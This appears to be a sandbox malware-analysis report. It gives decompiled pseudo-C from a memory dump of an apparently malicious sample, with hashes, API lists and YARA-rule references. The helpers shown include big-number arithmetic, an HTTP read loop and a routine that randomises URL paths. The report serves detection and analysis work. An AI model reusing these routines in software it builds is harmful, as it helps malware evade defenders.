API String ID: 1885612795-0
Opcode ID: 878263a100bb21bdf9299fed3139e2630cf5104da2089728bb5f578e40cd3a99
Instruction ID: 2e337537079e00cfd78d205774b770c1377ed68ae0034d3764da21c1915663b2
Opcode Fuzzy Hash: 878263a100bb21bdf9299fed3139e2630cf5104da2089728bb5f578e40cd3a99
Instruction Fuzzy Hash: CE512175D00619EFCB10EFA8C888DAEF7B9FF89704B144694E915EB250D732AD41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F053C6, Relevance: 6.1, APIs: 4, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00F053C6(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v92;
				void _v236;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E00F01AD1(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E00F050FF(_t79,  &_v236);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0xe8)) = E00F05745(_t101,  &_v236, _a8, _t96 - _t81);
					E00F05745(_t79,  &_v92, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x5c));
					_t66 = E00F050FF(_t101, 0xf0d1b0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E00F050FF(_a16, _a4);
						E00F05088(_t79,  &_v236, _a4, _t97);
						memset( &_v236, 0, 0x8c);
						_t55 = memset( &_v92, 0, 0x44);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0xe8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L00F0AF2E();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L00F0AF28();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0xe8;
						_a12 = _t74;
						_t76 = E00F05F21(_t79,  &_v92, _t92, _t107 + _a8 * 4 - 0xe8, _t107 + _a8 * 4 - 0xe8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v92;
							if(E00F090C2(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E00F06044(_t79,  &_v92, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0xf0d1b0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x00f053c9
0x00f053d5
0x00f053db
0x00f053e0
0x00f053e4
0x00f05541
0x00f05545
0x00f05545
0x00f053ea
0x00f053ee
0x00f053f2
0x00f053f5
0x00f05400
0x00f05406
0x00f0540b
0x00f0540e
0x00f05428
0x00f05434
0x00f0543d
0x00f05447
0x00f0544c
0x00f0544e
0x00f05451
0x00f054ff
0x00f05505
0x00f05516
0x00f05529
0x00f05539
0x00000000
0x00f0553e
0x00f0545a
0x00f05461
0x00f05465
0x00f0546b
0x00f0546d
0x00f0546f
0x00f05471
0x00f05473
0x00f0547d
0x00f05482
0x00f05484
0x00f05486
0x00f05487
0x00f05488
0x00f05489
0x00f05490
0x00f05497
0x00f0549a
0x00f0549a
0x00f05467
0x00f05467
0x00f05467
0x00f054a2
0x00f054aa
0x00f054b3
0x00f054b8
0x00f054b8
0x00f054bd
0x00000000
0x00000000
0x00f054bf
0x00f054c2
0x00f054cc
0x00000000
0x00000000
0x00f054ce
0x00f054ce
0x00f054d8
0x00f054b8
0x00f054bd
0x00000000
0x00000000
0x00000000
0x00f054bd
0x00f054e2
0x00f054e5
0x00f054e8
0x00f054ef
0x00f054ef
0x00f054fc
0x00000000
0x00f054fc
0x00f053f7
0x00f053fb
0x00f053fc
0x00f053fe
0x00000000
0x00000000
0x00000000
0x00f053fe
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 00F05473
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 00F05489
memset.NTDLL ref: 00F05529
memset.NTDLL ref: 00F05539

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: 9b0f80266d1456a5642b83243a78155d2fd6725accdd6b112b98c7ca102e866a
Instruction ID: 3ef4bf918e03881513526fd55059f8c9ca38c02f1c8b346327a56bbb0b2ccd39
Opcode Fuzzy Hash: 9b0f80266d1456a5642b83243a78155d2fd6725accdd6b112b98c7ca102e866a
Instruction Fuzzy Hash: 47418F71A00609ABDB10DFA8CC81BEF7769EF44B20F108529B91AA71C1DBB49D55FF90

Uniqueness

Uniqueness Score: -1.00%

Function 00F0A81C, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 00F0A82E

Part of subcall function 00F0A71F: RtlAllocateHeap.NTDLL(00000000,00000000,00F05595), ref: 00F0A72B

ResetEvent.KERNEL32(?), ref: 00F0A8A2
GetLastError.KERNEL32 ref: 00F0A8C5
GetLastError.KERNEL32 ref: 00F0A970

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 91d389c1cc6f25cb0c30320dd71eb6bd652077744b68a75933b43c8e0b392ab7
Instruction ID: 61c11ef70724a17ebe51273e528dc90275165cb20b8571b8b54cd8dcfef6fd55
Opcode Fuzzy Hash: 91d389c1cc6f25cb0c30320dd71eb6bd652077744b68a75933b43c8e0b392ab7
Instruction Fuzzy Hash: 56417E71A00708BFDB319FA1CC88E6F7BBDFB89750B104929F542D10A0D731A945FA61

Uniqueness

Uniqueness Score: -1.00%

Function 00F015FF, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00F015FF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0xf0d134() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0xf0d164(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E00F0A71F(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0xf0d134() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E00F05646( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E00F0A734(_v16);
										if(_t64 == 0) {
											_t64 = E00F070CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E00F05646( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E00F09242(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x00f015ff
0x00f01600
0x00f01606
0x00f01611
0x00f01611
0x00f01613
0x00f018e7
0x00f018ec
0x00f018ee
0x00f018f3
0x00f018f4
0x00f018f9
0x00f018fa
0x00f01905
0x00f01936
0x00f0193b
0x00f019fe
0x00f01941
0x00f01948
0x00f01950
0x00f019fb
0x00f01956
0x00f0195b
0x00f01960
0x00f01965
0x00f019ed
0x00f0196b
0x00f0196b
0x00f0196d
0x00f01973
0x00f01974
0x00f01974
0x00f01977
0x00f0197a
0x00f01980
0x00f01985
0x00f01986
0x00f0198b
0x00f0198e
0x00f01999
0x00000000
0x00000000
0x00f019a1
0x00f019a9
0x00f019b5
0x00f019b9
0x00f019bb
0x00f019c0
0x00000000
0x00000000
0x00f019c0
0x00f019b9
0x00f019d2
0x00f019d5
0x00f019dc
0x00f019e7
0x00f019e7
0x00000000
0x00f019c2
0x00f019c2
0x00f019c7
0x00f019c9
0x00f019ca
0x00f019cd
0x00000000
0x00f019cd
0x00000000
0x00f019c7
0x00f01974
0x00f019ee
0x00f019ee
0x00f019f4
0x00f019f4
0x00f01950
0x00f01907
0x00f0190d
0x00f01915
0x00f0192e
0x00f01930
0x00000000
0x00000000
0x00f01917
0x00f01921
0x00f01925
0x00f0192b
0x00000000
0x00f0192b
0x00f01925
0x00f01915
0x00f01a07
0x00f01608
0x00f01608
0x00f0160f
0x00f0161a
0x00000000
0x00000000
0x00000000
0x00f0160f

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,751881D0), ref: 00F018EE
GetLastError.KERNEL32(?,?,?,00000000,751881D0), ref: 00F01907
ResetEvent.KERNEL32(?), ref: 00F01980
GetLastError.KERNEL32 ref: 00F0199B

Part of subcall function 00F09242: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 00F09259
Part of subcall function 00F09242: SetEvent.KERNEL32(?), ref: 00F09269

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: e37c16556a1bcf554fc41047ad01e1b4199528766341affd9e0c4bc750298aed
Instruction ID: 6480ac4d6734aaa29211834518eca441b67ef49cae40cea83111ee63dd17f2b0
Opcode Fuzzy Hash: e37c16556a1bcf554fc41047ad01e1b4199528766341affd9e0c4bc750298aed
Instruction Fuzzy Hash: 9841A332A00608EBDB229BA5CC44BAEB7B9BF84364F140569F552D71D0EB71ED41BB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F09242, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E00F09242(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0xf0d13c; // 0xf0abf1
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E00F0A71F(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E00F0A734(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E00F05646( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x00f09242
0x00f09242
0x00f0924c
0x00f09252
0x00f09255
0x00f09259
0x00f0925f
0x00f09264
0x00f0927d
0x00f09280
0x00f09284
0x00f09288
0x00f09289
0x00f0928e
0x00f09291
0x00f09298
0x00f0929f
0x00f092f2
0x00f092f8
0x00f092fe
0x00f09339
0x00f0933f
0x00000000
0x00000000
0x00000000
0x00f092fe
0x00f092a5
0x00000000
0x00f092ac
0x00f092ba
0x00f092bd
0x00f092c0
0x00f092cc
0x00f092d0
0x00f09332
0x00f092d2
0x00f092d5
0x00f092d9
0x00f092da
0x00f092db
0x00f092dd
0x00f092e4
0x00f09322
0x00f0932d
0x00f092e6
0x00f092e9
0x00f092ed
0x00f092ed
0x00f092e4
0x00000000
0x00f092d0
0x00f092a5
0x00f09269
0x00f0926f
0x00f09272
0x00f09277
0x00000000
0x00000000
0x00000000
0x00f09307
0x00f0930f
0x00f09314
0x00f09317
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 00F09259
SetEvent.KERNEL32(?), ref: 00F09269
GetLastError.KERNEL32 ref: 00F092F2

Part of subcall function 00F05646: WaitForMultipleObjects.KERNEL32(00000002,00F0A8E3,00000000,00F0A8E3,?,?,?,00F0A8E3,0000EA60), ref: 00F05661

Part of subcall function 00F0A734: RtlFreeHeap.NTDLL(00000000,00000000,00F05637,00000000,?,?,00000000), ref: 00F0A740

GetLastError.KERNEL32(00000000), ref: 00F09327

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: 1e53002a3abded244a62d44e62c46504a6afc15df232292b2b4dce5a21de5c4e
Instruction ID: 2a4d47d0ca54e18df0eca427cccddbafde764827fdd91011426ca9981b2473cf
Opcode Fuzzy Hash: 1e53002a3abded244a62d44e62c46504a6afc15df232292b2b4dce5a21de5c4e
Instruction Fuzzy Hash: 9F31F0B5D04309EFDB21DFA5CD84A9EB7BCFB04314F10896AE542E2191E7B0AA44BF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F017E5, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00F017E5(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0xf0d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0xf0d250; // 0x8d9f504e
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0xf0d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x00f017ed
0x00f017f0
0x00f017f6
0x00f0180e
0x00f01810
0x00f01815
0x00f01817
0x00f0181a
0x00f0181c
0x00f0181f
0x00f01821
0x00f01821
0x00f01823
0x00f0182e
0x00f01833
0x00f01844
0x00f0184c
0x00f01851
0x00f01854
0x00f01857
0x00f01859
0x00f0185c
0x00f0185f
0x00f0185f
0x00f01862
0x00f0186d
0x00f01872
0x00f0187c

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00F01C49,00000000,?,?,00F020C2,?,052795B0), ref: 00F017F0
RtlAllocateHeap.NTDLL(00000000,?), ref: 00F01808
memcpy.NTDLL(00000000,?,-00000008,?,?,?,00F01C49,00000000,?,?,00F020C2,?,052795B0), ref: 00F0184C
memcpy.NTDLL(00000001,?,00000001), ref: 00F0186D

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: d80b7ef52949f65d1fac517e5e19ad7935d5e433ff6073cc7118ab7893cb3113
Instruction ID: a49029ffd02cdd7e6760a2297c61284439db2a69cab999086135dd281ab860cc
Opcode Fuzzy Hash: d80b7ef52949f65d1fac517e5e19ad7935d5e433ff6073cc7118ab7893cb3113
Instruction Fuzzy Hash: 6111C672A00118AFD7109FA9DD84E9EBBEEFB84360B154276F504D7190E7749E04E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F06840, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F06840(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x00f0684a
0x00f0684e
0x00f06863
0x00f06865
0x00f0686a
0x00f06870
0x00f06872
0x00f06877
0x00f06882
0x00f06879
0x00f06879
0x00f06879
0x00f06877
0x00f06890

APIs

memset.NTDLL ref: 00F0684E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 00F06863
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 00F06870
CloseHandle.KERNEL32(?), ref: 00F06882

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 85880fe356e1afd7d729de111608ea44cf18a0e3b18b31981e9d0ccf485a65df
Instruction ID: 8f5c9d5cc1747323000ffedd593f1fbe49c76b23fd12cd919291bcdb69b23ca6
Opcode Fuzzy Hash: 85880fe356e1afd7d729de111608ea44cf18a0e3b18b31981e9d0ccf485a65df
Instruction Fuzzy Hash: ACF05EF150430CBFD3206F66DCC4C27BBECEF912A9B118A2EF142C2151C672A819AA60

Uniqueness

Uniqueness Score: -1.00%

Function 00F023F4, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00F023F4(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0xf0d32c; // 0x52795b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0xf0d32c; // 0x52795b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0xf0d030) {
					HeapFree( *0xf0d238, 0, _t8);
				}
				_t14[1] = E00F0486F(_v0, _t14);
				_t11 =  *0xf0d32c; // 0x52795b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x00f023f4
0x00f023f4
0x00f023fd
0x00f0240d
0x00f0240d
0x00f02412
0x00f02417
0x00000000
0x00000000
0x00f02407
0x00f02407
0x00f02419
0x00f0241d
0x00f0242f
0x00f0242f
0x00f0243f
0x00f02442
0x00f02447
0x00f0244b
0x00f02451

APIs

RtlEnterCriticalSection.NTDLL(05279570), ref: 00F023FD
Sleep.KERNEL32(0000000A,?,00F05D25), ref: 00F02407
HeapFree.KERNEL32(00000000,00000000,?,00F05D25), ref: 00F0242F
RtlLeaveCriticalSection.NTDLL(05279570), ref: 00F0244B

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: a939f502daefd0fbcd7c420c5ea9ef0bdf8542075dc09579af5212825ac8fd88
Instruction ID: 4edf921bfb03ff41e1b91ea4e0aa6aafd44252da92dbc5ea3a44f4e53e8f5d7e
Opcode Fuzzy Hash: a939f502daefd0fbcd7c420c5ea9ef0bdf8542075dc09579af5212825ac8fd88
Instruction Fuzzy Hash: B5F0F875A00245DBD750DFA8EE88F1A77E8BF18740B448504F641C62A2C730E845FB66

Uniqueness

Uniqueness Score: -1.00%

Function 00F01B42, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00F01B42() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0xf0d26c; // 0x2c4
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0xf0d2bc; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0xf0d26c; // 0x2c4
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xf0d238; // 0x4e80000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x00f01b42
0x00f01b49
0x00f01b93
0x00f01b95
0x00f01b95
0x00f01b4d
0x00f01b53
0x00f01b58
0x00f01b5c
0x00f01b62
0x00f01b69
0x00000000
0x00000000
0x00f01b6b
0x00f01b70
0x00000000
0x00000000
0x00000000
0x00f01b70
0x00f01b72
0x00f01b7a
0x00f01b7d
0x00f01b7d
0x00f01b83
0x00f01b8a
0x00f01b8d
0x00f01b8d
0x00000000

APIs

SetEvent.KERNEL32(000002C4,00000001,00F04F0E), ref: 00F01B4D
SleepEx.KERNEL32(00000064,00000001), ref: 00F01B5C
CloseHandle.KERNEL32(000002C4), ref: 00F01B7D
HeapDestroy.KERNEL32(04E80000), ref: 00F01B8D

Memory Dump Source

Source File: 00000002.00000002.491989142.0000000000F01000.00000020.00000001.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000002.00000002.491962549.0000000000F00000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492030503.0000000000F0C000.00000002.00000001.sdmp Download File
Associated: 00000002.00000002.492039429.0000000000F0D000.00000004.00000001.sdmp Download File
Associated: 00000002.00000002.492051670.0000000000F0F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: c85ee49614aeed45eaf00443f23ae13bfda9ae3a83cca0db94ca0530068451a5
Instruction ID: 6ad360968b17a3efefe47114febda93f25172c293a2af164016fae0b5d5b74c6
Opcode Fuzzy Hash: c85ee49614aeed45eaf00443f23ae13bfda9ae3a83cca0db94ca0530068451a5
Instruction Fuzzy Hash: 65F0A5B1A02319DBEB206BB5ED48F563BA8BB44B71B054210BC15E72E0EB70D944F6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00F06702, Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00F06702() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0xf0d32c; // 0x52795b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0xf0d32c; // 0x52795b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0xf0d32c; // 0x52795b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0xf0e81a) {
					HeapFree( *0xf0d238, 0, _t10);
					_t7 =  *0xf0d32c; // 0x52795b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x00f06702
0x00f0670b
0x00f0671b
0x00f0671b
0x00f06720
0x00f06725
0x00000000
0x00000000
0x00f06715
0x00f06715
0x00f06727
0x00f0672c
0x00f06730
0x00f06743
0x00f06749
0x00f06749
0x00f06752
0x00f06754
0x00f06758
0x00f0675e

APIs

RtlEnterCriticalSection.NTDLL(05279570), ref: 00F0670B
Sleep.KERNEL32(0000000A,?,00F05D25), ref: 00F06715
HeapFree.KERNEL32(00000000,?,?,00F05D25), ref: 00F06743
